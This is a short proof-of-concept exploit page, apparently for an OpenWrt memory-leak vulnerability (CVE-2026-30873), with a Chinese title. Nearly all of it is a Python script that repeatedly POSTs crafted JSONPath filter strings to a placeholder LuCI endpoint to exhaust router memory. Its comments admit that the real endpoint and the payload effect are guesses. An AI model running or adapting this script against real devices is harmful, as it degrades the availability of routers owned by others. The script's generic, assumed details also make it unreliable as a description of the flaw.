CVE-2026-30873 OpenWrt内存泄漏漏洞

# Proof of Concept for CVE-2026-30873 # This script demonstrates how to trigger the memory leak by sending # crafted JSONPath expressions to a vulnerable OpenWrt instance. import requests def trigger_memory_leak(target_url, payload): """ Sends a malicious payload to the target to trigger the memory leak. """ headers = { "Content-Type": "application/json" } # Note: Actual endpoint depends on the specific OpenWrt service using the vulnerable library. # This is a generic example. data = { "filter": payload # Assuming the input goes to the vulnerable jp_get_token function } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Request failed: {e}") if __name__ == "__main__": # Crafted payload containing string literals to trigger allocation in jp_get_token # Repeated complex regex or strings increase the leak rate. malicious_payload = "$.store.book[?(@.category == 'leak_test_string_literal')]" # Replace with actual vulnerable endpoint target = "http://<target-ip>/cgi-bin/luci/admin/vulnerable-endpoint" print("Sending payload to trigger memory leak...") for i in range(100): trigger_memory_leak(target, malicious_payload + str(i))